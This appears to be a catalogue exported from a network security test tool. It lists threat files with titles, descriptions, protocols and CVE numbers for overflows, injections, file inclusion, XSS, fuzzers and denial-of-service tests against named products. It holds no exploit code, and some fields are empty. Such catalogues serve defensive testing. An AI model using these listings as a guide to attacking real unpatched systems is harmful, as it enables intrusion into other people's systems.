Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-4264
Threat Package:	Standard
Threat File Name:	TSL20140421-11_CA_ERwin_Web_Portal_ConfigServiceProvider_Information_Disclosure_IPv6.xml
Executive Description:	CA ERwin Web Portal ConfigServiceProvider Information Disclosure(IPv6 Version)
Detailed Description:	An information disclosure vulnerability exists in CA ERwin Web Portal. This vulnerability is due to lack of authentication and insufficient input validation in the ConfigServiceProvider servlet when processing HTTP requests. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the contents of arbitrary XML files on a target system, including XML files which store database credentials.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2014-2210
OSVDB:	106135
Threat File Name:	TSL20130809-08_VLC_Media_Player_ABC_File_Instruction_Field_Parsing_Heap_Overflow_IPv6.xml
Executive Description:	VLC Media Player ABC File Instruction Field Parsing Heap Overflow [IPv6, Version]
Detailed Description:	A remote code execution vulnerability has been reported in the libmodplug library used by VLC Media Player. The vulnerability is due to an error while parsing Instruction fields in ABC files with the style sheet directive "MIDI drum" or "MIDI gchord", which can result in a heap buffer overflow condition. Remote attackers could exploit this vulnerability by enticing the target user to view a malicious ABC file. A successful attack based on this vulnerability may result in the execution of arbitrary code within the security context of the currently logged-in user.
Protocol Type:	IPv6, MMS,HTTPS,HTTP,IMAP,POP3,SMB/CIFS,SMTP,RTSP
OSVDB:	96133
Threat File Name:	contentnow_xss.xml
Executive Description:	ContentNow 1.30 (upload/xss) Cross-site Scripting Vulnerability
Detailed Description:	This threat sends a crafted URL that contains a malicious script which is then executed by the server. ContentNow is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	vivotek_motion_activex_bof.xml
Executive Description:	Vivotek Motion Jpeg Control (MjpegDecoder.dll 2.0.0.13) remote buffer overflow vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Vivotek Motion Jpeg Control ActiveX application, resulting in the execution of arbitrary code. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	messenger_spam_IPv6.xml
Executive Description:	Microsoft Messenger Advertisement (IPv6 Version)
Detailed Description:	This threat attempts to cause a pop-up to occur on an end user's machine, advertising software available for download. Since this protocol is UDP based, it is effectively used as a mass marketing device. The messenger service is tied to MS-RPC, so any RPC port will work (typically port 1026). (IPv6 Version)
Protocol Type:	DCOM/IPv6
Threat Package:	Standard
Threat File Name:	etomite_sql_i_IPv6.xml
Executive Description:	Etomite Index.PHP SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat uses crafted web client requests to leverage vulnerabilities in a webserver running Etomite CMS software with the purpose of disclosing admin credentials via injected sql commands. Etomite CMS is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
OSVDB:	27485
Threat Package:	Standard
Threat File Name:	TSL20170111-11_Adobe_Reader_and_Acrobat_XSLT_function-available_Buffer_Overflow_IPv6.xml
Executive Description:	Adobe Reader and Acrobat XSLT function-available Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability has been reported in the XSLT component of Adobe Reader and Adobe Acrobat. The vulnerability is due to improper validation of the parameter for XSLT function-available function call. A remote attacker could exploit the vulnerability by enticing a target user to open a maliciously crafted document or web page. Successful exploitation could result in code execution under the context of the target user.
Protocol Type:	HTTP, HTTPS, IMAP, SMB/CIFS, POP3, FTP, IPv6
CVEID:	CVE-2017-2949
Threat File Name:	msddsdll_IPv6.xml

Executive Description:	Microsoft .NET MSDDS.DLL Exploit (IPv6 Version)
Detailed Description:	This attack causes a heap overflow in Microsoft Internet Explorer through the exploitation of a COM object packaged with msdds.dll. This DLL is supplied with some .NET applications and Visual Studio. This attack comes from a webserver, which typically listens on port 80. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2127
OSVDB:	19093
Threat Package:	Standard
Threat File Name:	FSC20080227-06_Trend_Micro_OfficeScan_CGI_Password_Decryption_Buffer_Overflow_IPv6.xml
Executive Description:	Trend Micro OfficeScan CGI Password Decryption Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in the way Trend Micro OfficeScan Policy server handles HTTP requests. The vulnerability is due to lack of boundary protection while processing HTTP parameters. Remote unauthenticated attackers can exploit this vulnerability to take complete control of an affected system. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20170515-09_HPE_Intelligent_Management_Center_dbman_BackupZipFile_Command_Injection.xml
Executive Description:	HPE Intelligent Management Center dbman BackupZipFile Command Injection
Detailed Description:	A command injection vulnerability has been reported in the dbman component of HPE Intelligent Management Center. The vulnerability exists due to missing validation of user-provided parameters when handling BackupZipFile commands. A remote, unauthenticated attacker can exploit the vulnerability by sending a maliciously crafted packet to the target server. Successful exploitation of this vulnerability can lead to remote command execution in the context of SYSTEM or root.
Protocol Type:	HP IMC DBMan Protocol
CVEID:	CVE-2017-5820
Threat File Name:	thunderbird_filename_obfus.xml
Executive Description:	Thunderbird Long Filename Obfuscation
Detailed Description:	This threat sends an email with an attachment that obfuscates it's full filename, so that it appears to be a text file when in actual fact it is an executable file. This threat is delivered to an SMTP server, which typically listens on port 25.
Protocol Type:	SMTP
CVEID:	CVE-2006-0236
OSVDB:	22510
Threat Package:	Standard
Threat File Name:	loopbackPing_IPv6.xml
Executive Description:	Loopback Ping (IPv6 Version)
Detailed Description:	This threat sends a ping (same payload as Windows) with a source address of 127.0.0.1. This is normally picked up by IDS systems, and can cause problems on systems with a faulty network stack. A source IP of 127.0.0.1 should never be seen in the wild, and is indicative of a problem or attack. For more testing, the destination IP could be set to 127.0.0.1 as well as the source MAC being set to the same as the destination MAC address. (IPv6 Version)
Protocol Type:	ICMP/IPv6
Threat Package:	Standard
Threat File Name:	ActionApps_cmi.xml
Executive Description:	ActionApps 2.8.1 Remote File Inclusion
Detailed Description:	This threat send a crafted HTTP query containing a local or remote path to a file which is included into the PHP source via cached.php3's GLOBALS[AA_INC_PATH] parameter. ActionApps is a web based application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2686
Threat Package:	Standard
Threat File Name:	ms02-030.xml
Executive Description:	SQLXML contentType Buffer Overflow
Detailed Description:	This threat causes a buffer overflow in the SQL Server ISAPI component for Microsoft IIS. This can be used by an attacker to execute remote code. This is a component of the IIS webserver which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2002-0186
OSVDB:	5347
Threat Package:	Standard
Threat File Name:	aspChunked_IPv6.xml
Executive Description:	MS02-018 IIS Chunked Encoding Attack (IPv6 Version)
Detailed Description:	This threat attacks a flaw in the Chunked Encoding of Microsoft Internet Information Service. It has the ability to overwrite a pointer to an address and cause remote code to be executed. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2002-0079
OSVDB:	768
Threat Package:	Standard
Threat File Name:	fuzz-HTTP-POST_PrepndHTTPWithformatn.xml
Executive Description:	Fuzz HTTP POST with Request-URI prepended with %n
Detailed Description:	Fuzzes the Request-URI field by prepending %n
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	TSL20140520-08_Cogent_DataHub_Web_Server_GetPermissions.asp_Command_Injection_IPv6.xml
Executive Description:	Cogent DataHub Web Server GetPermissions.asp Command Injection IPv6 version.
Detailed Description:	A remote command injection vulnerability has been reported in Cogent DataHub. The vulnerability is due to insufficient validation within the GetPermissions.asp page. A remote attacker can exploit this vulnerability by submitting a maliciously crafted request to GetPermissions.asp. This can result in arbitrary command execution on the vulnerable system.

Protocol Type:	HTTP/HTTPS,IPv6
CVEID:	CVE-2014-3789
OSVDB:	107097
Threat File Name:	ibm_director_dirtansversal.xml
Executive Description:	IBM Director < 5.10 (Redirect.bat) Directory Transversal Vulnerability
Detailed Description:	This threat uses a crafted url to leverage a vulnerability within the Redirect.bat file on a ibm director cgi which allows a directory transversal to take place which in turn exposes most files on the system to be read without authorization. IBM Director is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-0513
Threat Package:	Standard
Threat File Name:	TSL20170313-04_HPE_Intelligent_Management_Center_accessMgrServlet_Insecure_Deserialization.xml
Executive Description:	HPE Intelligent Management Center accessMgrServlet Insecure Deserialization
Detailed Description:	An insecure deserialization vulnerability has been reported in HPE Intelligent Management Center. The vulnerability is due to deserialization of untrusted data by the accessMgrServlet while having vulnerable classes in the code path. A remote, unauthenticated attacker can exploit this vulnerability by sending a maliciously crafted serialized object. Successful exploitation results in arbitrary code execution under the context of the SYSTEM or root user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-5790
Threat File Name:	TSL20120508-09_Microsoft_Excel_Type_Mismatch_Series_Record_Parsing_Memory_Corruption_IPV6.xml
Executive Description:	Microsoft Excel Type Mismatch Series Record Parsing Memory Corruption(IPV6 Version)
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Excel. The vulnerability is due to a type mismatch during Series record parsing. A remote, unauthenticated attacker could exploit this vulnerability by enticing a target user to open a crafted Excel document. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-1847
OSVDB:	81724
Threat File Name:	FSC20080212-22_Microsoft_Office_Works_File_Converter_WPS_File_Field_Length_Stack_Ove_IPv6.xml
Executive Description:	Microsoft Office Works File Converter WPS File Field Length Stack Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Works File Converter. The vulnerability is due to insufficient input validation of various field lengths while handling WPS files. A remote attacker can exploit this vulnerability by enticing the target user to open maliciously constructed files, potentially causing arbitrary code to be injected and executed in the security context of the logged-in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-0108
Threat Package:	Standard
Threat File Name:	wheatblog_rfi.xml
Executive Description:	Wheatblog Session.PHP Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url that exploits a failing in the session.php function which allows a malicious user to include commands in the context of the vulnerable web server. Wheatblog is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20120403-03_Quest_InTrust_Annotation_Objects_ActiveX_Control_Index_out_of_Bounds.xml
Executive Description:	Quest InTrust Annotation Objects ActiveX Control Index out of Bounds
Detailed Description:	A memory access vulnerability has been reported in Quest InTrust's Annotation Objects ActiveX control. The vulnerability is due to a design flaw in the Add() method exposed by this ActiveX control, which allows script code to cause the process to execute code from an attacker-controlled memory location. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to access a maliciously crafted web page. This can result in code execution in the context of the affected user.
Protocol Type:	HTTP,HTTPS
Threat File Name:	TSL20170524-02_Samba_Writeable_Share_Insecure_Library_Loading_IPv6.xml
Executive Description:	Samba Writeable Share Insecure Library Loading (IPv6 Version)
Detailed Description:	An insecure library loading vulnerability has been discovered in Samba. The vulnerability is due to a lack of validation on the paths from which shared objects are loaded. A remote, authenticated attacker could exploit this vulnerability by uploading a shared library to a writeable share then connecting to the IPC\$ and opening it using an absolute path. A successful exploitation attempt could result in the execution of arbitrary code in the security context of root.
Protocol Type:	SMB/CIFS,IPv6
CVEID:	CVE-2017-7494
Threat File Name:	FSC20100608-23_Microsoft_Office_Excel_ExternName_Record_Parsing_Buffer_Overflow_IPV6.xml
Executive Description:	Microsoft Office Excel ExternName Record Parsing Buffer Overflow
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to the way the vulnerable product parses Excel documents, allowing for memory corruption. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current logged on user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	
CVEID:	CVE-2010-1249
Threat Package:	Standard

Threat File Name:	TSL20121231-02_Microsoft_Internet_Explorer_applyElement_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer applyElement Use After Free(IPv6 Version)
Detailed Description:	A code execution vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is caused by the dereferencing of a pointer after the corresponding memory has been released when processing script code calling the applyElement() method. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-4792
OSVDB:	88774
Threat File Name:	fuzz-HSRP_Holdtime.xml
Executive Description:	Fuzzer for Protocol:HSRP and Field:Holdtime
Detailed Description:	
Protocol Type:	HSRP
Threat Package:	Fuzzing
Threat File Name:	FSC20071105-18_osx_quicktime_bof.xml
Executive Description:	Apple QuickTime PICT Image Processing Uncompressedfile Stack Overflow
Detailed Description:	A buffer overflow vulnerability exists in Apple QuickTime. The vulnerability is due to boundary errors when processing PICT image files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted PICT image file. Successful exploitation would cause a heap overflow that may lead to arbitrary code execution in the security context of the logged in user.
Protocol Type:	TCP
CVEID:	CVE-2007-4672
Threat Package:	Standard
Threat File Name:	TSL20150511-04_ManageEngine_Desktop_Central_MSP_FileUploadServlet_Arbitrary_File_Upload.xml
Executive Description:	ManageEngine Desktop Central MSP FileUploadServlet Arbitrary File Upload
Detailed Description:	An arbitrary file upload vulnerability exists in ManageEngine Desktop Central and Desktop Central MSP. The vulnerability is due to a failure to sanitize HTTP parameter values within the FileUploadServlet servlet. A remote, unauthenticated attacker can exploit this vulnerability by sending a specially crafted request to the target server. Successful exploitation could lead to arbitrary code execution under the security context of the System user. Tester should set the variable \$destPort to 8020 or 8040 before test.
Protocol Type:	HTTP
Threat File Name:	ipv6_SymantecFirewallDNSDOS2.xml
Executive Description:	IPv6 Symantec Firewall DNS Response Buffer Overflow
Detailed Description:	This threat sends a large DNS reply to an open UDP port - such as 137. The Symantec Firewall software will attempt to read the DNS packet, and overflow a buffer it has allocated to read. Can be used for remote execution of code. This is an IPv6 version of another attack.
Protocol Type:	DNS
Threat Package:	Standard
Threat File Name:	TSL20140715-11_HP_Intelligent_Management_Center_SyslogDownloadServlet_Information_Disclosure.xml
Executive Description:	HP Intelligent Management Center SyslogDownloadServlet Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in HP Intelligent Management Center. The vulnerability is due to lack of authentication and insufficient input validation in the SyslogDownloadServlet servlet when processing HTTP request parameters. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the contents of arbitrary files on a target system. Tester needs to set variable \$destPort to 8080 or 8443 before test.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-2619
OSVDB:	109169
Threat File Name:	FSC20060424-01_Microsoft_Internet_Explorer_Nested_Object_Tag_Handling_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer Nested Object Tag Handling Memory Corruption (IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Internet Explorer. The vulnerability is caused due to a flaw while processing nested HTML Object tags leading to memory corruption. A remote attacker may exploit this issue via a malicious web page to cause denial of service or execute arbitrary code in the context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1992
Threat Package:	Standard
Threat File Name:	gnuturk_sql_i_IPv6.xml
Executive Description:	GNUTurk T_ID Parameter SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. GnuTurk is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	easyftp_pass_bof_IPv6.xml
Executive Description:	Easy File Sharing FTP PASS Command Server Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat exploits a flaw in Easy File Sharing FTP via the PASS command causing a denial of service condition in the affected server and possibly a buffer overflow condition to execute arbitrary commands on behalf a malicious user. Easy File Sharing FTP Server is an FTP application that typically listens on TCP port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2006-3952
Threat Package:	Standard

Threat File Name:	tikiwiki_pref_cmi_IPv6.xml
Executive Description:	TikiWiki tiki-user_preferences.php Command Injection (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP Request with with a modified URL string containing an invalid language name, this name is used directly to access the language include file which is unchecked and can be used to access arbitrary files, if that file contains PHP it will be also be executed. TikiWiki is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1925
OSVDB:	20923
Threat Package:	Standard
Threat File Name:	TSL20160407-01_Cisco_Prime_Infrastructure_and_EPNM_Deserialization_Code_Execution.xml
Executive Description:	
Detailed Description:	
Protocol Type:	
Threat File Name:	pop_buffer_overflow_257.xml
Executive Description:	POP Buffer Overflow [257] Attack
Detailed Description:	This generic threat sends a long buffer [257 bytes] against an POP server. A buffer overflow attack attempts to crash the service by causing the service to write to out of bounds memory by going beyond the allocated buffer.
Protocol Type:	POP3
Threat Package:	Standard
Threat File Name:	FSC20070306-02_Apple_QuickTime_udta_Atom_Parsing_Heap_Overflow_Vulnerability.xml
Executive Description:	Apple QuickTime udta Atom Parsing Heap Overflow Vulnerability
Detailed Description:	There exists a heap-based buffer overflow vulnerability in Apple QuickTime. The flaw is caused by improper parsing of forged size fields in user data Atoms (udta). By setting this field to an overly large value, an integer overflow occurs resulting in an exploitable heap overflow. Successful exploitation allows remote attackers to execute arbitrary code under the context of the currently logged-in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-0714
Threat Package:	Standard
Threat File Name:	linksys_passwd.xml
Executive Description:	Linksys Web Camera File Disclosure
Detailed Description:	This threat attempts to retrieve the password file from the web server on Linksys Web Cameras
Protocol Type:	HTTP
CVEID:	CVE-2004-2507
OSVDB:	7112
Threat Package:	Standard
Threat File Name:	TSL20170209-08_Trend_Micro_Control_Manager_ProductTree_RightWindow_XML_External_Entity_Processing_IPv6.xml
Executive Description:	Trend Micro Control Manager ProductTree_RightWindow XML External Entity Processing (IPv6 Version)
Detailed Description:	An XML external entity (XXE) processing vulnerability has been reported in Trend Micro Control Manager. The vulnerability is due to lack of validation of user-supplied input prior to executing an XML query in ProductTree_RightWindow.aspx. A remote, authenticated attacker could exploit this vulnerability by sending a malicious HTTP request to the target system. Successful exploitation could allow the attacker to read arbitrary files from the target system.
Protocol Type:	HTTPS,IPv6
Threat File Name:	TSL20160209-27_Microsoft_Word_RTF_CVE-2016-0052_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Word RTF CVE-2016-0052 Memory Corruption(IPv6 version)
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Office. This application fails to properly handle certain objects in memory when parsing specially crafted files.A remote attacker could exploit this vulnerability by enticing a user to open a specially crafted file. Successful exploitation could possibly lead to arbitrary code execution under the context of the currently logged on user.
Protocol Type:	HTTPS,HTTP,IMAP,SMB/CIFS,SMTP,IPv6
CVEID:	CVE-2016-0052
Threat File Name:	phpraid_XSS_IPv6.xml
Executive Description:	PHPraid View.php Cross-Site Scripting Vulnerability (IPv6 Version)
Detailed Description:	This threat attempts to cause a cross site scripting condition through the View.php function call. By exploiting this XSS vulnerability an attacker can steal session and cookie authentication details. PHPraid is a web application, and typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2283
Threat Package:	Standard
Threat File Name:	TSL20121106-04_Sophos_Anti-Virus_PDF_Handling_Stack_Buffer_Overflow.xml
Executive Description:	Sophos Anti-Virus PDF Handling Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Sophos Anti-Virus and Endpoint Protection. The vulnerability is due to the handling of encrypted PDF files. A remote attacker could exploit this vulnerability by causing Sophos Anti-Virus to process a specially crafted PDF file. Successful exploitation could result in arbitrary code execution in the context of the affected service, which is SYSTEM by default.
Protocol Type:	HTTP,HTTPS,SMTP,IMAP,POP3,SMB/CIFS,NFS
OSVDB:	87060
Threat File Name:	FSC20071023-23_IBM_Lotus_Notes_MIF_Attachment_Viewer_Buffer_Overflow_IPv6.xml
Executive Description:	IBM Lotus Notes MIF Attachment Viewer Buffer Overflow (IPv6 Version)

Detailed Description:	Multiple buffer overflow vulnerabilities exist in IBM Lotus Notes attachment viewer. The vulnerabilities are result of insufficient boundary checking while processing the Frame Maker Interchange File (MIF) files. A remote attacker can exploit these vulnerabilities by enticing the target user to open a crafted MIF email attachment, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	IMAP/IPv6
Threat Package:	Standard
Threat File Name:	lupper19.xml
Executive Description:	Lupper Worm 19
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	TSL20110126-04_Oracle_Document_Capture_ActiveX_Control_WriteJPG_Buffer_Overflow_IPv6.xml
Executive Description:	Oracle Document Capture ActiveX Control WriteJPG Buffer Overflow(IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in NCSECWLib ActiveX control component included with Oracle Document Capture. The vulnerability is due to a improper bounds ochecking of arguments within the object's WriteJPG method. Remote attackers can exploit this vulnerability by enticing target users to visit a malicious web page. Successful exploitation could lead to injection and execution of arbitrary code on the target system with the privileges of the logged in user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2010-3599
OSVDB:	N/A
Threat File Name:	FSC20100208-01_Oracle_Database_DBMS_JVM_EXP_PERMS_System_Command_Execution.xml
Executive Description:	Oracle Database DBMS_JVM_EXP_PERMS System Command Execution
Detailed Description:	A privilege escalation vulnerability exists in Oracle Database server that can allow users with limited privileges to execute arbitrary operating system commands on a target server. The vulnerability is due to an access control weakness that allows non-privileged users to execute methods within the DBMS_JVM_EXP_PERMS package. Remote authenticated users with CREATE_SESSION privileges can exploit this vulnerability via the IMPORT_JVM_PERMS method. Successful exploitation can lead to the execution of arbitrary OS commands on a target server. On Windows, the commands would execute with the security context of SYSTEM.
Protocol Type:	iSQL *Plus/TNS/TCP
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_Filename_formatn_RRQ_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_Filename_formatn_RRQ.xml (IPv6 Version)
Detailed Description:	Fuzzes Filename field by appending one or more of %n to the filename. OpCode is RRQ (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	TSL20130709-32_Microsoft_Internet_Explorer_CVE-2013-3143_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CVE-2013-3143 Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-3143
OSVDB:	94967
Threat File Name:	FSC20070604-06_Microsoft_Internet_Explorer_Javascript_Page_Update_Race_Condition.xml
Executive Description:	Microsoft Internet Explorer Javascript Page Update Race Condition
Detailed Description:	A race condition vulnerability exists in Microsoft Internet Explorer web browser. The vulnerability is due to the way Internet Explorer building DOM objects during page updating. A remote attacker may leverage this vulnerability by interrupting page loading in a way that would allow spoofing of URL address bar, and page properties including SSL certificates. This would enable remote attackers to conduct phishing attacks on the vulnerable clients. A successful attack may results in sensitive information being disclosed to the attacker. The target computer may not show any abnormal behaviour. In some case the affected application might terminate abnormally due to memory corruption.
Protocol Type:	HTTP
CVEID:	CVE-2007-3091
Threat File Name:	TSL20140827-05_SolarWinds_Storage_Manager_AuthenticationFilter_Authentication_Bypass_IPv6.xml
Executive Description:	SolarWinds Storage Manager AuthenticationFilter Authentication Bypass IPv6 version.
Detailed Description:	An authentication bypass vulnerability exists in SolarWinds Storage Manager. The vulnerability is due to a flaw within the AuthenticationFilter class. A remote unauthenticated attacker could exploit this vulnerability by bypassing the authentication filter and uploading malicious scripts to the target. Successful exploitation could result in code execution under the context of the system. Tester should set variable \$destPort 9000 before test.
Protocol Type:	HTTP.IPV6
OSVDB:	110483
Threat File Name:	FSC20040903-01_Apache_2_mod_ssl_Connection_Abort_Denial_of_Service_IPv6.xml
Executive Description:	Apache 2 mod_ssl Connection Abort Denial of Service (IPv6 Version)
Detailed Description:	A vulnerability exists in the Apache HTTP server SSL module, mod_ssl. This module, which is responsible for managing encrypted communications, can be forced into an infinite loop by the unexpected termination of connection. This vulnerability may be exploited by an attacker to cause a denial of service condition. (IPv6 Version)
Protocol Type:	SSL/IPv6
CVEID:	CVE-2004-0748
Threat Package:	Standard

Threat File Name:	FSC20090609-22_Microsoft_Office_Excel_Binary_Format_Parsing_Integer_Overflow_IPv6.xml
Executive Description:	Microsoft Office Excel Binary Format Parsing Integer Overflow (IPv6 Version)
Detailed Description:	A integer overflow vulnerability exists in Microsoft Excel products. The vulnerability is due to improper parsing of an Excel file that includes a malformed object. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access. If unexpected termination of the vulnerable application is the sole result of an attack, there is no impact to the overall operation of the target host. It is, however, possible to lose all unsaved data due to the abnormal termination. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-0561
Threat Package:	Standard
Threat File Name:	TSL20130506-11_ClamAV_UPX_File_PE_parsing_Memory_Access_Error_IPv6.xml
Executive Description:	ClamAV UPX File PE parsing Memory Access Error [IPv6, Version]
Detailed Description:	A memory access error vulnerability exists in ClamAV antivirus software. The vulnerability is due to an errors in "pe.c" while parsing UPX-packed executable files. Remote attackers could exploit the vulnerability to cause a denial of service condition.
Protocol Type:	IPv6,HTTP,SMTP,IMAP,POP3
CVEID:	CVE-2013-2020
OSVDB:	92834
Threat File Name:	TSL20131211-01_Microsoft_Internet_Explorer_CVE-2013-5049_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CVE-2013-5049 Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to errors while handling certain objects when processing HTML and script code. A remote attacker can exploit this vulnerability by enticing an unsuspecting user to access a maliciously crafted website. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-5049
OSVDB:	100754
Threat File Name:	FSC20090224-13_Adobe_Flash_Player_Invalid_Object_Reference_Code_Execution.xml
Executive Description:	Adobe Flash Player Invalid Object Reference Code Execution
Detailed Description:	A vulnerability exists in the Adobe Flash Player. The vulnerability is a result of referencing to an invalid object when parsing maliciously crafted SWF files. An attacker could exploit this vulnerability by enticing a target user to open a malicious SWF file. Successful exploitation can lead to injection and execution of arbitrary code in the security context of the currently logged in user. In an attack case where code injection is not successful, the affected application will terminate abnormally. In a more sophisticated attack scenario where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0520
Threat Package:	Standard
Threat File Name:	vpasp_sqli.xml
Executive Description:	VP-ASP 6.00 SQL Injection
Detailed Description:	This threat sends a crafted HTTP GET query which includes an SQL query which is executed by the server via the "cid" parameter. VP-ASP is a web based application with typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2263
Threat Package:	Standard
Threat File Name:	snort_write_andx_bof.xml
Executive Description:	Snort DCE/RPC Preprocessor Remote Buffer Overflow
Detailed Description:	This threat sends out a SMB packet constructed in such a way that it will cause a buffer overflow and crash Snort 2.6.1.
Protocol Type:	SMB
CVEID:	CVE-2006-5276
OSVDB:	32064
Threat Package:	Standard
Threat File Name:	FSC20040805-01_libpng_Transparency_Chunk_Length_Buffer_Overflow_IPv6.xml
Executive Description:	libpng Transparency Chunk Length Buffer Overflow (IPv6 Version)
Detailed Description:	A vulnerability exists in the way libpng handles the transparency chunk of a PNG image. A logic error in the process makes it possible to bypass a length check in the validation process. This error can cause a memory buffer on the stack to be overflowed. It is possible to exploit this vulnerability in such a way as to gain control of the process and execute injected code. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0597
Threat Package:	Standard
Threat File Name:	FSC20060314-08_Microsoft_Excel_Malformed_File_Format_Parsing_Code_Execution.xml
Executive Description:	Microsoft Excel Malformed File Format Parsing Code Execution
Detailed Description:	There exists a code execution vulnerability in Microsoft Excel. The vulnerability is caused by improper processing of malformed BOOLERR records within Excel spreadsheet files. An attacker may exploit this vulnerability by enticing a user to open a crafted Excel file, which will enable the attacker to inject and execute arbitrary code within the security context of the target user.
Protocol Type:	HTTP
CVEID:	CVE-2006-0028
Threat Package:	Standard
Threat File Name:	beautifier_rfi.xml
Executive Description:	Beautifier v0.1 Remote File Inclusion Vulnerability

Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Beautifier is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	miniweb_post_rdos_IPv6.xml
Executive Description:	MiniWeb Http POST Remote Denial of Service (IPv6 Version)
Detailed Description:	This threat sends a http post with a negative Content-Length field causing MiniWeb servers to crash. Miniweb server is a http server that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3159
Threat Package:	Standard
Threat File Name:	at-tftp_dos_IPv6.xml
